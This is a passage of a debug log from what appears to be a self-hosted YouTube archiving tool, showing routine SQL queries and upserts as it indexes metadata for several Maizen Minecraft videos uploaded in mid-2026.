livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [231209] 19:36:01.471 [debug] Current batch of media processed. Will check again in 1000ms 19:36:02.472 [debug] Current batch of media processed. Will check again in 1000ms 19:36:03.473 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5211, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", "id" => "a8EKAWT99Ys", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=a8EKAWT99Ys", "playlist_index" => 7, "timestamp" => 1781924406, "title" => "MIKEY IS DEAD : The Movie", "upload_date" => "20260620"} 19:36:03.473 [debug] QUERY OK source="sources" db=0.1ms idle=691.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:03.474 [debug] QUERY OK source="sources" db=0.1ms idle=691.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:03.475 [debug] QUERY OK source="media_items" db=1.2ms idle=692.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 19:36:03.476 [debug] QUERY OK source="media_items" db=0.6ms idle=693.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "1fff7f5b-59fe-4662-9d1c-4c08f4cbbd2e", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 02:36:03Z], ~U[2026-08-20 02:36:03Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 19:36:03.477 [debug] QUERY OK source="sources" db=0.1ms idle=47.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:03.477 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:03.477 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [213214] 19:36:03.477 [debug] Current batch of media processed. Will check again in 1000ms 19:36:04.478 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5542, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", "id" => "3RR5Sbesx6s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3RR5Sbesx6s", "playlist_index" => 8, "timestamp" => 1781319606, "title" => "THE WORLD's STRICTEST TEST: The Movie", "upload_date" => "20260613"} 19:36:04.479 [debug] QUERY OK source="sources" db=0.2ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:04.479 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:04.481 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 19:36:04.482 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "b605ebdf-cf6a-4fff-9221-476022cef1c1", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 02:36:04Z], ~U[2026-08-20 02:36:04Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 19:36:04.482 [debug] QUERY OK source="sources" db=0.2ms idle=50.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:04.482 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:04.483 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [183790] 19:36:04.483 [debug] Current batch of media processed. Will check again in 1000ms 19:36:05.484 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5036, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", "id" => "9ZPbk2Unu8A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "playlist_index" => 9, "timestamp" => 1780714806, "title" => "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "upload_date" => "20260606"} 19:36:05.485 [debug] QUERY OK source="sources" db=0.3ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:05.485 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:05.487 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 19:36:05.488 [debug] QUERY OK source="media_items" db=0.8ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "f1423430-1c55-481e-a1c1-22e439e3f2fc", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 02:36:05Z], ~U[2026-08-20 02:36:05Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 19:36:05.488 [debug] QUERY OK source="sources" db=0.2ms idle=55.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:05.489 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:05.489 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [152861] 19:36:05.489 [debug] Current batch of media processed. Will check again in 1000ms 19:36:06.490 [debug] Current batch of media processed. Will check again in 1000ms 19:36:07.491 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3796, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", "id" => "RxEEQdWqH10", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RxEEQdWqH10", "playlist_index" => 10, "timestamp" => 1780298214, "title" => "Minecraft, But One Person Dies Every Day...", "upload_date" => "20260601"} 19:36:07.492 [debug] QUERY OK source="sources" db=0.3ms idle=709.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:07.492 [debug] QUERY OK source="sources" db=0.2ms idle=710.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:07.494 [debug] QUERY OK source="media_items" db=1.3ms idle=710.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 19:36:07.495 [debug] QUERY OK source="media_items" db=0.7ms idle=712.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "5e3c93e0-e3ea-413a-bd50-b99e681f9593", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 02:36:07Z], ~U[2026-08-20 02:36:07Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 19:36:07.495 [debug] QUERY OK source="sources" db=0.2ms idle=58.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:07.496 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:07.496 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141213] 19:36:07.496 [debug] Current batch of media processed. Will check again in 1000ms 19:36:08.497 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 857, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", "id" => "n5lwtRSwTqY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=n5lwtRSwTqY", "playlist_index" => 11, "timestamp" => 1780040554, "title" => "The Roulette of OP ITEM in Hide and Seek!", "upload_date" => "20260529"} 19:36:08.498 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 